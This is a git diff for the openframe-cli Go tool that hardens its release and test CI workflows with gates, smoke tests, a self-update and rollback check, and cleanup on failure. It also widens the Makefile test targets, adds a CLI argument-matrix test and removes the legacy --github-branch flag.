diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 29d498bd..7941f0de 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -34,6 +34,23 @@ jobs: runs-on: ubuntu-latest if: github.event_name == 'workflow_dispatch' steps: + # The self-updater pins the cosign signing identity to + # release.yml@refs/heads/main (internal/shared/selfupdate/cosign.go). The + # Fulcio certificate carries the DISPATCHING ref, so a release run from any + # other branch would publish assets that every `openframe update` rejects + # ("release signature verification failed"). Fail loudly instead of + # skipping so the dispatcher sees why. + - name: 'Guard: releases only from main' + if: github.ref != 'refs/heads/main' + env: + DISPATCH_REF: ${{ github.ref }} + run: | + echo "===================================================================" + echo "=== GUARD: release dispatched from a non-main ref" + echo "===================================================================" + echo "::error::Releases must be dispatched from main (got $DISPATCH_REF). The cosign identity pinned by the self-updater only accepts release.yml@refs/heads/main, so assets signed from this ref would fail verification for every user." + exit 1 + - name: Checkout uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 with: @@ -48,6 +65,19 @@ jobs: go-version-file: 'go.mod' cache: true + # --- Gates: never tag or publish an unverified commit ------------------- + - name: 'Gate: lint' + uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9.3.0 + with: + version: latest + + - name: 'Gate: unit tests' + run: | + echo "===================================================================" + echo "=== GATE: unit tests (root, cmd, internal, tests/testutil)" + echo "===================================================================" + make test-unit + - name: Install GoReleaser uses: goreleaser/goreleaser-action@f06c13b6b1a9625abc9e6e439d9c05a8f2190e94 # v7.2.3 with: @@ -65,6 +95,7 @@ jobs: uses: anchore/sbom-action/download-syft@e22c389904149dbc22b58101806040fa8d37a610 # v0.24.0 - name: Create and push tag + id: tag env: VERSION: ${{ needs.version.outputs.version }} # Explicit auth for the push, since the checkout no longer persists it. @@ -81,3 +112,60 @@ jobs: GORELEASER_CURRENT_TAG: ${{ needs.version.outputs.version }} run: | goreleaser release --clean + + # --- Smoke: verify what was actually shipped ---------------------------- + - name: 'Smoke: released binary reports the injected version' + env: + VERSION: ${{ needs.version.outputs.version }} + run: | + echo "===================================================================" + echo "=== SMOKE: dist binary runs and reports ${VERSION}" + echo "===================================================================" + # Guards the ldflags injection (-X cmd.version): a broken injection + # ships binaries reporting "dev", which disables self-update. + BIN="$(find dist -type f -name openframe -path '*linux*amd64*' | head -1)" + if [ -z "$BIN" ]; then echo "::error::no linux/amd64 binary found in dist/"; find dist -type f | head -20; exit 1; fi + got="$("$BIN" --version)" + echo "$got" + if ! echo "$got" | grep -qF "$VERSION"; then + echo "::error::released binary does not report ${VERSION} — ldflags version injection is broken" + exit 1 + fi + + - name: 'Smoke: published asset URLs resolve (WSL auto-install contract)' + env: + VERSION: ${{ needs.version.outputs.version }} + run: | + echo "===================================================================" + echo "=== SMOKE: bare-tag download URLs resolve for ${VERSION}" + echo "===================================================================" + # wsllauncher and `openframe update` download exactly these bare-tag + # URLs (releases are tagged "x.y.z", no "v" prefix). A 404 here means + # every released Windows binary breaks on first run (audit T0-3). + for asset in "openframe-cli_linux_amd64.tar.gz" "checksums.txt" "checksums.txt.bundle"; do + url="https://github.com/${GITHUB_REPOSITORY}/releases/download/${VERSION}/${asset}" + ok="" + for i in 1 2 3 4 5 6; do + if curl -fsSL -o /dev/null -I "$url"; then ok=1; break; fi + echo "retry $i: $url not yet resolvable"; sleep 5 + done + if [ -z "$ok" ]; then echo "::error::released asset URL does not resolve: $url"; exit 1; fi + echo "OK: $url" + done + + # --- Cleanup: never leave a half-published release behind --------------- + # A leftover tag wedges the next dispatch: version.yml resolves the next + # version from published releases, so a re-run picks the same version and + # the tag push fails until someone hand-deletes the tag. A half-published + # release failing smoke must not stay visible as `latest` either. + - name: 'Cleanup: delete tag & release on failure' + if: failure() && steps.tag.outcome == 'success' + env: + VERSION: ${{ needs.version.outputs.version }} + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + echo "===================================================================" + echo "=== CLEANUP: rolling back tag/release ${VERSION} after failure" + echo "===================================================================" + gh release delete "${VERSION}" --repo "${GITHUB_REPOSITORY}" --yes && echo "deleted release ${VERSION}" || echo "no release ${VERSION} to delete" + git push "https://x-access-token:${GH_TOKEN}@github.com/${GITHUB_REPOSITORY}.git" ":refs/tags/${VERSION}" && echo "deleted tag ${VERSION}" diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 59d8c37c..01dca0b4 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -43,6 +43,61 @@ jobs: with: version: latest + - name: 'Check: go.mod/go.sum are tidy' + run: | + echo "===================================================================" + echo "=== TEST: go.mod/go.sum are tidy (go mod tidy -diff)" + echo "===================================================================" + go mod tidy -diff + + release-build-matrix: + # Compile-only guard for the FULL GoReleaser platform matrix. The three + # e2e runner legs already compile linux/amd64, windows/amd64 and + # darwin/arm64 (including their test files via `make test-unit`), but the + # release ships SIX combos — a GOOS/GOARCH break on the un-runnered three + # (linux/arm64, windows/arm64, darwin/amd64) would otherwise surface only + # when the release itself fails. For those three, `go vet` also + # cross-compiles the TEST files, catching windows/darwin-only breakage in + # test code that no runner ever builds. + name: Release build matrix (compile-only) + runs-on: ubuntu-latest + timeout-minutes: 15 + steps: + - name: Checkout code + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + with: + persist-credentials: false + + - name: Set up Go + uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16 # v6.5.0 + with: + go-version-file: 'go.mod' + cache: true + + - name: 'Build: all six GoReleaser platform combos' + run: | + echo "===================================================================" + echo "=== TEST: cross-compile the full release matrix (6 GOOS/GOARCH)" + echo "===================================================================" + # Keep in sync with .goreleaser.yml (goos: linux,windows,darwin × + # goarch: amd64,arm64). + for target in linux/amd64 linux/arm64 windows/amd64 windows/arm64 darwin/amd64 darwin/arm64; do + echo "--- go build ${target}" + GOOS="${target%/*}" GOARCH="${target#*/}" CGO_ENABLED=0 go build ./... + done + + - name: 'Vet (incl. test files) for combos without a runner' + run: | + echo "===================================================================" + echo "=== TEST: go vet for the un-runnered combos (compiles test code)" + echo "===================================================================" + # The runner legs vet-compile their own combos; these three are never + # built anywhere else. + for target in linux/arm64 windows/arm64 darwin/amd64; do + echo "--- go vet ${target}" + GOOS="${target%/*}" GOARCH="${target#*/}" go vet ./... + done + test-cli: name: Test CLI on ${{ matrix.os }}-${{ matrix.arch }} runs-on: ${{ matrix.runner }} @@ -100,6 +155,9 @@ jobs: - name: Build & stage CLI shell: bash run: | + echo "===================================================================" + echo "=== SETUP: build CLI for ${{ matrix.os }}/${{ matrix.arch }}" + echo "===================================================================" make build if [ "${{ matrix.os }}" = "windows" ]; then # The cluster and the Kubernetes client live in WSL, so the CLI needs a @@ -115,6 +173,9 @@ jobs: - name: 'CLI: version & help' shell: bash run: | + echo "===================================================================" + echo "=== TEST: version, help & completion (read-only, no cluster)" + echo "===================================================================" "$OF_BIN" --version "$OF_BIN" --help "$OF_BIN" cluster --help @@ -123,15 +184,84 @@ jobs: "$OF_BIN" app upgrade --help "$OF_BIN" bootstrap --help "$OF_BIN" update --help + echo "--- completion: every supported shell generates cleanly" # Shell-completion generation is pure (no cluster/network) — smoke every shell. for sh in bash zsh fish powershell; do "$OF_BIN" completion "$sh" >/dev/null; done + echo "--- update check (text + json; network-tolerant)" # Self-update check needs neither Docker nor k3d, so it runs everywhere # (incl. darwin); tolerate transient network issues on the runner. "$OF_BIN" update check || echo "update check skipped (network)" + # json mode must keep stdout machine-clean (no spinner) and stay parseable. + "$OF_BIN" update check -o json || echo "update check -o json skipped (network)" + echo "--- update rollback with no prior update" # Rollback with no prior update must exit cleanly with a "nothing to roll # back" notice (offline, no download), not error out or hang. "$OF_BIN" update rollback + # Self-update against the REAL latest release: the only test that + # exercises the live trust chain end to end (GitHub release lookup → + # cosign signature of checksums.txt against the pinned identity → + # SHA256 of the archive → atomic swap → --version smoke test → rollback). + # Runs on a COPY of the binary, never the one under test. + # + # Not on Windows: the native launcher forwards the whole CLI into WSL, so + # this would exercise the Linux binary there, not the Windows one. + - name: 'Update: apply the real latest release, then roll back' + if: matrix.os != 'windows' + shell: bash + env: + # GH_TOKEN for the curl below; GITHUB_TOKEN is what `openframe update` + # itself reads. Exporting only GH_TOKEN left the CLI unauthenticated, + # which rate-limited to HTTP 403 on shared macOS runner IPs. + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + echo "===================================================================" + echo "=== TEST: openframe update (real release, cosign-verified) + rollback" + echo "===================================================================" + LATEST="$(curl -fsSL -H "Authorization: Bearer $GH_TOKEN" \ + "https://api.github.com/repos/${GITHUB_REPOSITORY}/releases/latest" | jq -r .tag_name)" + [ -n "$LATEST" ] && [ "$LATEST" != "null" ] || { echo "::error::could not resolve the latest release"; exit 1; } + echo "latest published release: $LATEST" + + # A dev build refuses to self-update, so stamp an old version in. + WORK="$(mktemp -d)"; export HOME="$WORK/home"; mkdir -p "$HOME" + go build -ldflags "-X github.com/flamingo-stack/openframe-cli/cmd.version=0.0.1" -o "$WORK/openframe" . + OF="$WORK/openframe" + [ "$("$OF" --version | cut -d' ' -f1)" = "0.0.1" ] || { echo "::error::ldflags version injection broken"; exit 1; } + + echo "--- update to the latest release (verifies the cosign bundle)" + "$OF" update --yes + got="$("$OF" --version | cut -d' ' -f1)" + [ "$got" = "$LATEST" ] || { echo "::error::after update --version is $got, want $LATEST"; exit 1; } + echo "updated 0.0.1 -> $got" + + echo "--- rollback restores the previous binary (offline)" + "$OF" update rollback --yes + back="$("$OF" --version | cut -d' ' -f1)" + [ "$back" = "0.0.1" ] || { echo "::error::after rollback --version is $back, want 0.0.1"; exit 1; } + + echo "--- rollback again: nothing left to restore, clean exit" + "$OF" update rollback --yes + + echo "--- explicit tag, both spellings (ForTag tolerates the v prefix)" + for spelling in "$LATEST" "v${LATEST#v}"; do + W2="$(mktemp -d)"; HOME="$W2/home"; mkdir -p "$HOME" + go build -ldflags "-X github.com/flamingo-stack/openframe-cli/cmd.version=0.0.1" -o "$W2/openframe" . + HOME="$W2/home" "$W2/openframe" update "$spelling" --yes + v="$(HOME="$W2/home" "$W2/openframe" --version | cut -d' ' -f1)" + [ "$v" = "$LATEST" ] || { echo "::error::update $spelling landed on $v, want $LATEST"; exit 1; } + echo "OK: update $spelling -> $v" + done + + echo "--- an unsigned/nonexistent release is refused" + W3="$(mktemp -d)"; HOME="$W3/home"; mkdir -p "$HOME" + go build -ldflags "-X github.com/flamingo-stack/openframe-cli/cmd.version=0.0.1" -o "$W3/openframe" . + if HOME="$W3/home" "$W3/openframe" update 99.99.99 --yes; then + echo "::error::update to a nonexistent release must fail"; exit 1 + fi + echo "update + rollback OK" + # Windows only: run the CLI's own prerequisite installer inside WSL. This # exercises the apk Docker install path (installAlpine) and installs k3d + # helm via verified download. The Docker daemon is started separately below @@ -139,7 +269,11 @@ jobs: - name: 'Prereqs: install (WSL, exercises apk Docker install)' if: matrix.os == 'windows' shell: bash - run: '"$OF_BIN" prerequisites install || echo "prereq install returned nonzero (daemon is started next)"' + run: | + echo "===================================================================" + echo "=== TEST: prerequisites install inside WSL (apk Docker path)" + echo "===================================================================" + "$OF_BIN" prerequisites install || echo "prereq install returned nonzero (daemon is started next)" # Start the Docker daemon inside WSL. Alpine WSL has no OpenRC init, so mount # cgroups and launch dockerd directly (vfs storage driver avoids overlayfs @@ -148,6 +282,9 @@ jobs: if: matrix.os == 'windows' shell: bash run: | + echo "===================================================================" + echo "=== SETUP: start dockerd inside WSL (Alpine, initless)" + echo "===================================================================" # rc-service is unreliable in initless WSL (it returns 0 without actually # bringing up the daemon), so start dockerd directly and detached # (setsid, silent.out 2>&1 || true "$OF_BIN" cluster create loud-$RANDOM --type k3d --nodes 1 --skip-wizard --dry-run >loud.out 2>&1 || true - if grep -qi 'Configuration Summary' silent.out; then echo "::error::--silent leaked INFO output"; cat silent.out; exit 1; fi + # Strict contract: --silent means ZERO non-error output, not merely + # "no summary box" — the 0.4.7 verification report found blank lines + # leaking through raw fmt prints and graded them as silence. + if [ -s silent.out ]; then echo "::error::--silent produced output:"; cat silent.out; exit 1; fi if ! grep -qi 'Configuration Summary' loud.out; then echo "::error::control run printed no summary — test is moot, check the assertion"; exit 1; fi - echo "silent suppressed INFO, control did not — OK" + echo "silent output empty, control printed the summary — OK" # --- Complex: real cluster lifecycle (heaviest, last) ------------------ - name: 'Cluster: create' @@ -221,7 +374,11 @@ jobs: shell: bash timeout-minutes: 20 run: | + echo "===================================================================" + echo "=== TEST: real cluster create + list/status (text/json/yaml)" + echo "===================================================================" "$OF_BIN" cluster create "$OF_CLUSTER" --type k3d --nodes 1 --skip-wizard + echo "--- cluster list & status after create" "$OF_BIN" cluster list "$OF_BIN" cluster status "$OF_CLUSTER" "$OF_BIN" cluster status "$OF_CLUSTER" -o json @@ -231,10 +388,55 @@ jobs: # name must fail fast, never drop into the interactive picker (which hangs # CI until the job timeout). Runs with a short timeout so a regression that # reintroduces the prompt is caught as exit 124, not a 40-minute hang. + # Validation matrix: invalid parameters must exit non-zero with the + # documented message, and machine output must stay parseable. These need + # real tools on the runner (the text-mode prerequisite gate), so they + # live here rather than in the hermetic unit-level CLI matrix. + - name: 'CLI: validation matrix (negative + machine output)' + if: matrix.os != 'darwin' + shell: bash + run: | + echo "===================================================================" + echo "=== TEST: invalid parameters exit non-zero; JSON stays parseable" + echo "===================================================================" + fail() { echo "::error::$1"; exit 1; } + expect_fail() { + desc="$1"; shift + if "$OF_BIN" "$@" /tmp/neg.out 2>&1; then + cat /tmp/neg.out; fail "expected failure: $desc" + fi + echo "OK (non-zero): $desc" + } + expect_fail "status with invalid --output" cluster status "$OF_CLUSTER" -o bogus + expect_fail "list with invalid --output" cluster list -o bogus + expect_fail "machine status without a name" cluster status -o json + expect_fail "status of a nonexistent cluster" cluster status no-such-cluster -o json + # Machine output contract: valid JSON on stdout, parseable by jq. + "$OF_BIN" cluster list -o json | jq -e 'type == "array"' >/dev/null \ + || fail "cluster list -o json is not a JSON array" + "$OF_BIN" cluster status "$OF_CLUSTER" -o json | jq -e '.name and (.ready_servers | type == "number") and (.total_servers | type == "number")' >/dev/null \ + || fail "cluster status -o json lacks name/ready_servers/total_servers" + echo "validation matrix OK" + + # Guard (verification report N2): an explicit --context IS the install + # target — it must be accepted in non-interactive mode without a cluster + # name (0.4.7 failed this exact invocation with "requires a cluster name"). + - name: 'App: --context works as the target in non-interactive mode' + if: matrix.os != 'darwin' + shell: bash + run: | + echo "===================================================================" + echo "=== TEST: app install --context --non-interactive --dry-run" + echo "===================================================================" + "$OF_BIN" app install --context "$OF_CONTEXT" --non-interactive --dry-run + - name: 'App: --non-interactive without a name fails fast' if: matrix.os != 'darwin' shell: bash run: | + echo "===================================================================" + echo "=== TEST: --non-interactive fails fast, never drops into a prompt" + echo "===================================================================" set +e timeout 60 "$OF_BIN" app install --non-interactive code=$? @@ -247,23 +449,57 @@ jobs: if: matrix.os != 'darwin' shell: bash timeout-minutes: 40 - run: '"$OF_BIN" app install "$OF_CLUSTER" --non-interactive --verbose' + run: | + echo "===================================================================" + echo "=== TEST: real app install (non-interactive, full ArgoCD wait)" + echo "===================================================================" + "$OF_BIN" app install "$OF_CLUSTER" --non-interactive --verbose - name: 'App: status & access' if: matrix.os != 'darwin' shell: bash run: | + echo "===================================================================" + echo "=== TEST: app status (text/json/yaml) & access after install" + echo "===================================================================" "$OF_BIN" app status --context "$OF_CONTEXT" "$OF_BIN" app status --context "$OF_CONTEXT" -o json "$OF_BIN" app status --context "$OF_CONTEXT" -o yaml "$OF_BIN" app access --context "$OF_CONTEXT" + # Guard (verification report N1): an upgrade with NO values file must + # fail fast naming the file — an empty values map would make helm replace + # the release values with chart defaults, wiping the configuration. + - name: 'App: upgrade without a values file fails fast' + if: matrix.os != 'darwin' + shell: bash + run: | + echo "===================================================================" + echo "=== TEST: app upgrade --ref refuses to run without a values file" + echo "===================================================================" + BIN="$GITHUB_WORKSPACE/${OF_BIN#./}" + tmp="$(mktemp -d)" + set +e + out="$(cd "$tmp" && "$BIN" app upgrade --ref main "$OF_CLUSTER" 2>&1)" + code=$? + set -e + echo "$out" | tail -5 + if [ "$code" -eq 0 ]; then echo "::error::upgrade without a values file must fail"; exit 1; fi + if ! echo "$out" | grep -q "openframe-helm-values.yaml"; then + echo "::error::the error must name the missing values file"; exit 1 + fi + echo "fail-fast OK (exit $code)" + - name: 'App: upgrade (dry-run then force-sync)' if: matrix.os != 'darwin' shell: bash timeout-minutes: 20 run: | + echo "===================================================================" + echo "=== TEST: app upgrade — dry-run, then force-sync" + echo "===================================================================" "$OF_BIN" app upgrade --context "$OF_CONTEXT" --dry-run + echo "--- force-sync" "$OF_BIN" app upgrade --context "$OF_CONTEXT" --sync --verbose # --- Teardown (runs even if a step above failed) ----------------------- @@ -271,15 +507,28 @@ jobs: if: always() && matrix.os != 'darwin' shell: bash run: | + echo "===================================================================" + echo "=== TEARDOWN: app uninstall & cluster delete --force" + echo "===================================================================" "$OF_BIN" app uninstall --context "$OF_CONTEXT" --yes || true "$OF_BIN" cluster delete "$OF_CLUSTER" --force || true - name: Run unit tests - run: make test-unit + shell: bash + run: | + echo "===================================================================" + echo "=== TEST: unit tests (root, cmd, internal, tests/testutil)" + echo "===================================================================" + make test-unit - name: Run unit tests with race detector # Linux only (race detector needs CGO/gcc). Now a blocking gate: the # codebase is race-clean (the pterm spinner was replaced with a # synchronized wrapper in internal/shared/ui/spinner). if: matrix.os == 'linux' - run: make test-race + shell: bash + run: | + echo "===================================================================" + echo "=== TEST: unit tests with -race (linux only)" + echo "===================================================================" + make test-race diff --git a/Makefile b/Makefile index a87a5c40..0877d02f 100644 --- a/Makefile +++ b/Makefile @@ -26,15 +26,18 @@ build-all: @GOOS=darwin GOARCH=arm64 $(GO_BUILD) -o $(BINARY_NAME)-darwin-arm64 . @GOOS=windows GOARCH=amd64 $(GO_BUILD) -o $(BINARY_NAME)-windows-amd64.exe . -## Run unit tests (vet enabled; -vet=off removed per audit remediation §0) +## Run unit tests (vet enabled; -vet=off removed per audit remediation §0). +## Includes the root package (main_test.go — the only exit-code fidelity tests) +## and tests/testutil, which `./cmd/... ./internal/...` silently skipped. +## Deliberately NOT ./tests/integration/... — those create real k3d clusters. test-unit: @echo "Running unit tests..." - @go test -count=1 ./cmd/... ./internal/... + @go test -count=1 . ./cmd/... ./internal/... ./tests/testutil/... ## Run unit tests with the race detector (CGO required) test-race: @echo "Running unit tests with -race..." - @CGO_ENABLED=1 go test -race -count=1 ./cmd/... ./internal/... + @CGO_ENABLED=1 go test -race -count=1 . ./cmd/... ./internal/... ./tests/testutil/... ## Run golangci-lint (static-analysis gate: govet, staticcheck, errcheck, gosec, ineffassign) lint: @@ -42,10 +45,12 @@ lint: @command -v golangci-lint >/dev/null 2>&1 || { echo "golangci-lint not installed: https://golangci-lint.run/usage/install/"; exit 1; } @golangci-lint run ./... -## Run integration tests +## Run integration tests (opt-in via build tag: they create REAL k3d clusters +## and run a full bootstrap — `go test ./...` must never trigger that by +## accident; requires the CLI binary from `make build`) test-integration: - @echo "Running integration tests..." - @go test ./tests/integration/... + @echo "Running integration tests (real clusters!)..." + @go test -tags integration -count=1 ./tests/integration/... ## Run all tests test: test-unit test-integration diff --git a/cli_matrix_test.go b/cli_matrix_test.go new file mode 100644 index 00000000..be9bd779 --- /dev/null +++ b/cli_matrix_test.go @@ -0,0 +1,190 @@ +package main + +import ( + "bytes" + "errors" + "os" + "os/exec" + "path/filepath" + "regexp" + "runtime" + "strings" + "sync" + "testing" +) + +// CLI invocation matrix: run the REAL binary with a spread of argument +// combinations and validate exit codes and output. Everything here is +// machine-independent by construction — no docker/k3d/helm, no network, no +// cluster, no interactive prompts (stdin is closed, so the CLI is in its +// non-interactive mode). Anything that needs real tools lives in the e2e +// workflow (.github/workflows/test.yml), not here. + +var ( + matrixBinOnce sync.Once + matrixBinPath string + matrixBinErr error +) + +// matrixBin builds the CLI once per test process. +func matrixBin(t *testing.T) string { + t.Helper() + matrixBinOnce.Do(func() { + dir, err := os.MkdirTemp("", "of-cli-matrix") + if err != nil { + matrixBinErr = err + return + } + // .exe on Windows: os/exec resolves executables via PATHEXT, so an + // extensionless binary is "not found" even by explicit path. + name := "openframe-matrix-test" + if runtime.GOOS == "windows" { + name += ".exe" + } + matrixBinPath = filepath.Join(dir, name) + out, err := exec.Command("go", "build", "-o", matrixBinPath, ".").CombinedOutput() + if err != nil { + matrixBinErr = err + matrixBinPath = "" + _ = os.RemoveAll(dir) + t.Logf("build output: %s", out) + } + }) + if matrixBinErr != nil { + t.Fatalf("building test binary: %v", matrixBinErr) + } + return matrixBinPath +} + +var ansiRe = regexp.MustCompile(`\x1b\[[0-9;]*m`) + +// runMatrix executes the binary in a hermetic environment: isolated HOME (no +// ~/.openframe state), no kubeconfig, update checks off, WSL forwarding off +// (so the matrix behaves identically on native Windows), stdin closed. +func runMatrix(t *testing.T, args ...string) (stdout, stderr string, exitCode int) { + t.Helper() + home := t.TempDir() + cmd := exec.Command(matrixBin(t), args...) + cmd.Env = append(os.Environ(), + "HOME="+home, + "USERPROFILE="+home, + "KUBECONFIG="+filepath.Join(home, "no-such-kubeconfig"), + "OPENFRAME_NO_UPDATE_CHECK=1", + "OPENFRAME_NO_WSL_FORWARD=1", + ) + var outBuf, errBuf bytes.Buffer + cmd.Stdout, cmd.Stderr = &outBuf, &errBuf + err := cmd.Run() + exitCode = 0 + if err != nil { + var ee *exec.ExitError + if errors.As(err, &ee) { + exitCode = ee.ExitCode() + } else { + t.Fatalf("running %v: %v", args, err) + } + } + return ansiRe.ReplaceAllString(outBuf.String(), ""), ansiRe.ReplaceAllString(errBuf.String(), ""), exitCode +} + +func TestCLIMatrix(t *testing.T) { + cases := []struct { + name string + args []string + wantExit int + contains []string // matched against stdout+stderr, ANSI-stripped + absent []string + }{ + // ---- happy read-only surface ----------------------------------- + {"version", []string{"--version"}, 0, []string{"dev"}, nil}, + {"root help", []string{"--help"}, 0, + []string{"Available Commands", "cluster", "app", "bootstrap", "prerequisites", "update"}, nil}, + {"app help lists subcommands", []string{"app", "--help"}, 0, + []string{"install", "upgrade", "status", "access", "uninstall"}, nil}, + {"cluster help lists subcommands", []string{"cluster", "--help"}, 0, + []string{"create", "delete", "list", "status", "cleanup"}, nil}, + {"update help lists subcommands", []string{"update", "--help"}, 0, + []string{"check", "rollback"}, nil}, + {"completion bash", []string{"completion", "bash"}, 0, []string{"openframe"}, nil}, + {"completion zsh", []string{"completion", "zsh"}, 0, []string{"openframe"}, nil}, + {"completion fish", []string{"completion", "fish"}, 0, []string{"openframe"}, nil}, + {"completion powershell", []string{"completion", "powershell"}, 0, []string{"openframe"}, nil}, + // Rollback with no prior update: clean offline no-op, exit 0. + {"update rollback with nothing saved", []string{"update", "rollback"}, 0, + []string{"No previous version"}, nil}, + + // ---- unknown surface --------------------------------------------- + {"unknown command", []string{"bogus"}, 1, []string{"unknown command"}, nil}, + {"unknown root flag", []string{"--bogus"}, 1, []string{"unknown flag"}, nil}, + {"unknown update flag", []string{"update", "--bogus"}, 1, []string{"unknown flag"}, nil}, + // Removed/legacy flags must fail loudly, not be silently ignored. + {"removed --github-branch", []string{"app", "install", "--github-branch", "x"}, 1, + []string{"unknown flag: --github-branch"}, nil}, + {"legacy --deployment-mode", []string{"app", "install", "--deployment-mode", "oss"}, 1, + []string{"unknown flag: --deployment-mode"}, nil}, + + // ---- flag/arg validation (parse-time, before any gate) ------------ + {"non-numeric --nodes", []string{"cluster", "create", "x", "--nodes", "abc"}, 1, + []string{`invalid argument "abc"`}, nil}, + {"non-bool --prune", []string{"app", "upgrade", "--prune=banana"}, 1, + []string{"invalid argument"}, nil}, + {"bootstrap too many args", []string{"bootstrap", "a", "b"}, 1, + []string{"accepts at most 1 arg"}, nil}, + {"bootstrap invalid cluster name", []string{"bootstrap", "Invalid_Name", "--non-interactive"}, 1, + []string{"is invalid", "hyphens"}, nil}, + + // ---- command-level guards (fail fast, no cluster contact) --------- + {"upgrade ref+sync mutually exclusive", []string{"app", "upgrade", "--ref", "x", "--sync"}, 1, + []string{"mutually exclusive"}, nil}, + {"uninstall non-interactive needs --yes", []string{"app", "uninstall"}, 1, + []string{"--yes", "non-interactive"}, nil}, + {"install with unknown context", []string{"app", "install", "--context", "no-such", "--non-interactive", "--dry-run"}, 1, + []string{`could not use context "no-such"`}, nil}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + stdout, stderr, code := runMatrix(t, tc.args...) + combined := stdout + "\n" + stderr + if code != tc.wantExit { + t.Errorf("exit = %d, want %d\noutput:\n%s", code, tc.wantExit, combined) + } + for _, want := range tc.contains { + if !strings.Contains(combined, want) { + t.Errorf("output missing %q:\n%s", want, combined) + } + } + for _, banned := range tc.absent { + if strings.Contains(combined, banned) { + t.Errorf("output must not contain %q:\n%s", banned, combined) + } + } + }) + } +} + +// TestCLIMatrix_MachineOutputsOnStdout: script-facing outputs (--version, +// completion scripts) must land on STDOUT — piping them must work. +func TestCLIMatrix_MachineOutputsOnStdout(t *testing.T) { + for _, args := range [][]string{{"--version"}, {"completion", "bash"}} { + stdout, _, code := runMatrix(t, args...) + if code != 0 { + t.Errorf("%v: exit %d", args, code) + } + if strings.TrimSpace(stdout) == "" { + t.Errorf("%v: stdout is empty — machine output must go to stdout", args) + } + } +} + +// TestCLIMatrix_SilentHelpIsQuiet: --silent must not decorate even trivial +// read-only commands with the logo. +func TestCLIMatrix_SilentVersion(t *testing.T) { + stdout, stderr, code := runMatrix(t, "--silent", "--version") + if code != 0 { + t.Fatalf("exit %d (stderr: %s)", code, stderr) + } + if strings.Contains(stdout+stderr, "Bootstrapper") { + t.Error("--silent leaked the logo banner") + } +} diff --git a/cmd/app/contract_test.go b/cmd/app/contract_test.go index ff42fe28..fe540a9b 100644 --- a/cmd/app/contract_test.go +++ b/cmd/app/contract_test.go @@ -27,12 +27,12 @@ func TestAppContract_UpgradeFlags(t *testing.T) { // Upgrade mutates the cluster → not marked read-only. assert.NotEqual(t, "true", upgrade.Annotations["readonly"], "upgrade is not read-only") - // Upgrade shares the install flag set plus --sync. + // Upgrade shares the install flag set plus --sync. --github-branch was + // removed: --ref is the single way to pin a git ref. testutil.AssertFlags(t, upgrade, []testutil.FlagSpec{ {Name: "force", Shorthand: "f", Type: "bool", Default: "false"}, {Name: "dry-run", Type: "bool", Default: "false"}, {Name: "github-repo", Type: "string", Default: "https://github.com/flamingo-stack/openframe-oss-tenant"}, - {Name: "github-branch", Type: "string", Default: "main"}, {Name: "ref", Shorthand: "r", Type: "string", Default: ""}, {Name: "sync", Shorthand: "s", Type: "bool", Default: "false"}, {Name: "prune", Shorthand: "p", Type: "bool", Default: "false"}, @@ -43,11 +43,11 @@ func TestAppContract_UpgradeFlags(t *testing.T) { func TestAppContract_InstallFlags(t *testing.T) { install := testutil.FindSubcommand(t, GetAppCmd(), "install") + // --github-branch was removed: --ref is the single way to pin a git ref. testutil.AssertFlags(t, install, []testutil.FlagSpec{ {Name: "force", Shorthand: "f", Type: "bool", Default: "false"}, {Name: "dry-run", Type: "bool", Default: "false"}, {Name: "github-repo", Type: "string", Default: "https://github.com/flamingo-stack/openframe-oss-tenant"}, - {Name: "github-branch", Type: "string", Default: "main"}, {Name: "ref", Shorthand: "r", Type: "string", Default: ""}, {Name: "cert-dir", Type: "string", Default: ""}, {Name: "non-interactive", Type: "bool", Default: "false"}, diff --git a/cmd/app/install.go b/cmd/app/install.go index e3f94e24..37a59a31 100644 --- a/cmd/app/install.go +++ b/cmd/app/install.go @@ -34,8 +34,8 @@ Examples: openframe app install # Interactive mode (default) openframe app install my-cluster # Install on specific cluster openframe app install --non-interactive # Use existing openframe-helm-values.yaml (CI/CD) - openframe app install --github-branch develop # Use develop branch - openframe app install --ref v1.2.3 # Deploy a release tag`, argocd.ArgoCDChartVersion), + openframe app install --ref develop # Deploy a branch + openframe app install --ref v1.2.3 # Deploy a release tag`, argocd.ArgoCDChartVersion), RunE: runInstallCommand, SilenceErrors: true, // Errors are handled by our custom error handler SilenceUsage: true, // Don't show usage on errors @@ -87,7 +87,7 @@ func buildInstallRequest(cmd *cobra.Command, args []string, flags *InstallFlags, GitHubRepo: flags.GitHubRepo, GitHubBranch: flags.resolvedRef(), // An explicitly set ref must win over the branch baked into openframe-helm-values.yaml. - GitHubRefExplicit: cmd.Flags().Changed("ref") || cmd.Flags().Changed("github-branch"), + GitHubRefExplicit: cmd.Flags().Changed("ref"), CertDir: flags.CertDir, NonInteractive: flags.NonInteractive, // Inject cluster access from the command layer (composition root) so the @@ -103,6 +103,9 @@ func buildInstallRequest(cmd *cobra.Command, args []string, flags *InstallFlags, return req, fmt.Errorf("could not use context %q: %w", contextName, cerr) } req.KubeConfig = cfg + // Thread the context name too, so the helm CLI targets the same cluster + // as the native clients built from KubeConfig (one target per install). + req.KubeContext = contextName } // Bare interactive run (no cluster name): let the user pick a kube-context and @@ -121,6 +124,7 @@ func buildInstallRequest(cmd *cobra.Command, args []string, flags *InstallFlags, } pterm.Info.Printf("%s OpenFrame into context %q\n", action, res.Context) req.KubeConfig = res.Config + req.KubeContext = res.Context } return req, nil @@ -145,20 +149,18 @@ type InstallFlags struct { Force bool DryRun bool GitHubRepo string - GitHubBranch string Ref string CertDir string NonInteractive bool } -// resolvedRef returns the git ref to deploy: the general --ref wins over the -// legacy --github-branch when both are set, otherwise --github-branch (whose -// default is "main") is used. +// resolvedRef returns the git ref to deploy: --ref when set, otherwise the +// default platform branch. func (f *InstallFlags) 